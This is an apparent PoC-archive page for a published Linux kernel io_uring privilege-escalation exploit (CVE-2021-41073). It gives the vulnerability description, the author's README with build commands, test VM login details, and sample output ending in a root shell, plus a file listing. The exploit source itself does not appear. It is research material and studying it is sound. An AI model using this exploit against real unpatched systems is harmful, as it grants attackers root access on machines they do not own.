POC详情: 235627673d21e3864264dfb2cdb7270999af55f0

来源
关联漏洞
标题: Linux kernel 安全漏洞 (CVE-2021-41073)
描述:Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。 Linux kernel 5.10到5.14.6版本存在安全漏洞,该漏洞源于内核中中 fs/io_uring.c 中的 loop_rw_iter 允许本地用户通过使用 IORING_OP_PROVIDE_BUFFERS 来触发内核缓冲区的释放来获得权限。
介绍
# Linux_LPE_io_uring_CVE-2021-41073

LPE exploit for CVE-2021-41073 io_uring type confusion vulnerability. 

Checkout the writeup [Put an io_uring on it: Exploiting the Linux Kernel](https://www.graplsecurity.com/post/iou-ring-exploiting-the-linux-kernel).

author: [@chompie1337](https://twitter.com/chompie1337)


**For educational/research purposes only. Not for use on testing or security evaulations.**

To build (requires [liburing](https://github.com/axboe/liburing)):

```
gcc -o hello hello.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`
gcc -I include/ -o exploit exploit.c bpf.c -l:liburing.a -lpthread
```

I've provided a [test VM](https://www.dropbox.com/s/lhmpzvhl8mdszc8/test_vm.tar.xz?dl=0) with a 5.15-rc1 kernel for testing/running the exploit. 

To start VM, extract [test_vm archive](https://www.dropbox.com/s/lhmpzvhl8mdszc8/test_vm.tar.xz?dl=0) and run: 
```
qemu-system-x86_64  -m 2G  -smp 2  -kernel /path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/bzImage    -append "console=ttyS0 root=/dev/sda earlyprintk=serial net.ifnames=0"     -drive file=/path/to/repo/Linux_LPE_io_uring_CVE-2021-41073/test_vm/stretch.img,format=raw -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 -net nic,model=e1000 -nographic  -pidfile vm.pid 2>&1 | tee vm.log
```

ssh into the box as unprivileged user:

```ssh -p 10021 hi@localhost```
password: lol

To run:
```
$ ./exploit
[+] set/getxattr file created
[+] bpf program loaded created
[+] FUSE maps created
[+] opened /proc/self/maps
[+] io_uring initialized
[+] spraying kmalloc-32 cache with io_buffer structs!!
[!] vuln trigger #1 for task_struct leak
[+] task_struct: ffff90740554c4c0
[!] vuln trigger #2 for KASLR leak 
[!] single_next: ffffffffb2064520
[!] vuln trigger #3 for cache ptr leak
[+] fake bpf_prog: ffff9074056aacb0
[!] vuln trigger #4 to overwrite socket filter
[+] it worked! have a r00t shell :)
```

Sometimes needs 3-4 attempts to get through entire exploit sequence. Reboot the VM after each exploit attempt time. Future work can be done to improve this exploit, techniques are provided in the writeup. Releasing the PoC for the strict purpose of sharing knowledge with other researchers, and those who want to learn about **advanced kernel exploitation**.

This exploit is a **PROOF OF CONCEPT** for the techniques discussed in the blog post, and achieve local privilege escalation of the Linux Kernel 5.15-rc-1 with default configurations. It is NOT my intent to tailor an exploit and weaponize it to work with every affected version of Linux. I've provided the code to demonstrate most of the discussed techniques, and have created and documented the techniques needed to bypass various mitigations that some distributions may enable in the accompanying blog post. 

The kernel configurations used in the provided testing VM are in the test_vm folder if you'd like to work with a custom built kernel. If you want to contribute, pull requests are welcome :)

This research was sponsered by [Grapl](https://www.graplsecurity.com/).
文件快照

[4.0K] /data/pocs/235627673d21e3864264dfb2cdb7270999af55f0 ├── [4.0K] exploit │   ├── [2.2K] bpf.c │   ├── [ 13K] exploit.c │   ├── [2.6K] hello.c │   └── [4.0K] include │   └── [6.5K] bpf_defs.h └── [3.0K] README.md 2 directories, 5 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。